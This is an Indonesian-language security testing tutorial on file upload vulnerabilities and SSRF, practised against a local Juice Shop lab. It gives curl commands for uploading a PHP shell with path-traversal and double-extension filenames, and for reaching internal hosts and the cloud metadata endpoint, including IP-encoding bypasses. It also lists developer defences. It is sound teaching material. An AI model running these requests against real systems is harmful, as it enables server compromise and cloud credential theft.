Belajar Security Tester - Testing File Uploads & SSRF

#Pendahuluan

Setelah di episode 9 kita menguji business logic flaws, pada episode ini kita membahas dua attack vector yang sering terlupakan: file uploads dan SSRF. Keduanya bisa memberikan akses ke server atau internal resources.

#File Upload Vulnerabilities

#Path Traversal

bash

# Upload dengan nama file path traversal
curl -X POST http://localhost:3000/api/upload \
  -H "Authorization: Bearer <token>" \
  -F "file=@shell.php;filename=../../shell.php"

#Unrestricted File Type

bash

# Upload executable file dengan extension berbeda
curl -X POST http://localhost:3000/api/upload \
  -H "Authorization: Bearer <token>" \
  -F "file=@shell.php;filename=shell.php.jpg"
 
# Upload SVG dengan XSS payload
curl -X POST http://localhost:3000/api/upload \
  -H "Authorization: Bearer <token>" \
  -F "file=@malicious.svg"

#Polyglot Files

File yang valid sebagai multiple types — contoh: JPEG yang sebenarnya mengandung PHP code.

#SSRF (Server-Side Request Forgery)

#Basic SSRF

bash

# Akses internal resources
curl "http://localhost:3000/api/fetch?url=http://127.0.0.1:8080/admin"
curl "http://localhost:3000/api/fetch?url=http://169.254.169.254/latest/meta-data/"

#SSRF via File Upload

bash

# Upload file dengan metadata yang memicu SSRF
# Contoh: upload image yang server-nya fetch ke URL tertentu

#Bypassing Filters

bash

# Bypass dengan IP encoding
curl "http://localhost:3000/api/fetch?url=http://2130706433/"  # 127.0.0.1
 
# Bypass dengan DNS rebinding
curl "http://localhost:3000/api/fetch?url=http://localtest.me/"

#Testing Checklist

text

File Upload Testing:
├── Upload file dengan extension berbeda (.php, .jsp, .asp)
├── Upload file dengan nama path traversal (../../)
├── Upload polyglot files
├── Upload file terlalu besar (DoS)
├── Upload SVG dengan XSS
└── Cek apakah file bisa diakses langsung via URL
 
SSRF Testing:
├── Akses internal services (localhost, 127.0.0.1)
├── Akses cloud metadata (169.254.169.254)
├── Bypass filters (IP encoding, DNS rebinding)
├── Scan internal ports
└── Cek apakah file bisa di-upload ke storage internal

#Defensi

text

Yang Harus Dilakukan Developer:
├── Validate file type berdasarkan content, bukan extension
├── Rename file saat upload
├── Store uploads di directory terpisah (bukan web root)
├── SSRF: whitelist URL yang boleh diakses
├── SSRF: disable redirect following
└── SSRF: jangan biarkan akses internal IP

Warning

SSRF di cloud environment sangat berbahaya — attacker bisa mengambil IAM credentials dari metadata endpoint. Selalu blokir akses ke 169.254.169.254.

#Praktik: Juice Shop Upload Test

bash

# Coba upload file dengan extension berbeda
curl -X POST http://localhost:3000/api/file-upload \
  -H "Authorization: Bearer <token>" \
  -F "file=@test.php"
 
# Test SSRF via URL parameter (jika ada)
curl "http://localhost:3000/api/fetch?url=http://127.0.0.1:3000"

#Penutup

File upload: path traversal, unrestricted types, polyglot files — validate by content, bukan extension.
SSRF: akses internal resources, cloud metadata — whitelist URL, disable redirects.
Cloud: SSRF di cloud sangat kritis karena bisa mengambil IAM credentials.
Defense: content validation, rename files, directory separation, URL whitelist.

Di episode 11 selanjutnya kita akan membahas security test reporting — menulis vulnerability report yang actionable untuk developer, termasuk severity, CVSS, dan remediation guidance. Sampai jumpa di episode 11!